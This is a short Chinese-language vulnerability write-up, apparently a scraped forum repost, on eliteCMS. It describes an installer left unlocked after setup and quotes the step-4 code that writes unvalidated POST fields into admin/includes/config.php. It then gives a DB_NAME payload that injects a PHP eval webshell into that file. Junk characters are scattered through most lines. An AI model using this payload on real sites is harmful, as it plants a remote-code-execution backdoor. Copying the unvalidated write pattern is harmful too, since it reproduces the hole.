eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装+ y% u$ [" C+ M; h$ A2 r4 C
0 n9 y8 g. q- N# ?3 v另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php y' U! X/ ^, z" B ^, F
我们来看代码:
& R8 `3 b* A+ [, u: B ( O2 r, W, `3 j7 B; \( ~/ W
...
8 m1 }( ^+ Q# _+ pelseif ($_GET['step'] == "4") {0 H" p0 g x# R" r) ~/ W: R
$file = "../admin/includes/config.php";! |7 P& l9 x- o2 F0 A
$write = "<?php\n";) \; Z+ ~$ G* I* L- ?
$write .= "/**\n";' `$ l2 h% ] X9 ]
$write .= "*\n";
( A" I' u* H2 {) o; z) f( p $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
% {! G. O5 v( S _ {$ s...略...
8 W' `4 n0 I o5 I3 { $write .= "*\n";
* T' V* x: F6 K $write .= "*/\n";2 S8 w+ X$ ~( g0 L* ~
$write .= "\n";
% Q& i$ R6 N/ @ $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";7 j2 a4 y) g5 w: a7 B5 k
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
( F& G4 q, w# O/ u5 ?4 V $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";! M0 _) ?( T8 y* s. t
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
6 l, D: d9 d& x5 i $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";5 b2 G# A$ F" w, r2 h% q& h
$write .= "if (!\$connection) {\n";
& y" x9 D0 k8 k% P+ d $write .= " die(\"Database connection failed\" .mysql_error());\n";% W: a+ X/ W% l
$write .= " \n";. s' W6 C6 X! {1 M* m2 _& R
$write .= "} \n";* N3 q( w6 R- b, V7 T" I
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
! z) A" Y+ B$ j L* M $write .= "if (!\$db_select) {\n";0 `7 ~$ c2 I+ O+ s, \
$write .= " die(\"Database select failed\" .mysql_error());\n";; B3 e1 W+ ?# `5 d Q
$write .= " \n";! X: u" m% N) r, k- D7 e0 \
$write .= "} \n";
5 X4 r } y5 j1 Y $write .= "?>\n";* u' b* t+ p% N9 R+ T! o
$ k' m4 r P: m$ K4 g/ h( q! N$ G0 z
$writer = fopen($file, 'w');) b7 o' h. R* p) H, {6 \# `7 R
...
. F( L+ b$ B7 {+ O4 Q6 s. }: h& R D' U+ e9 c8 U9 G( M) y( W: q
在看代码:) g# H* }4 ?& U; [! K+ ~6 E
+ y) r1 ~9 [ M1 e1 N0 P$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
! g3 z6 a/ G/ s$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
* ^$ o& s! A Q6 Y$_SESSION['DB_USER'] = $_POST['DB_USER'];9 H' W& o8 q% w9 W* \8 _
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
3 {7 b" X4 T' b, M
' M! O. I0 H; J9 z1 i3 v取值未作任何验证
I7 E s& `/ d3 f% R如果将数据库名POST数据:9 n1 }% ~) y! R( q% h- j
) ^( M2 V% a0 B- J: x* b
"?><?php eval($_POST[c]);?><?php/ G% k' r/ x" V- f, j' ~; _
: q# c8 P( b) S2 Z
将导致一句话后门写入/admin/includes/config.php/ u: @' }3 d0 [, a0 y" g& T! o; G" b
|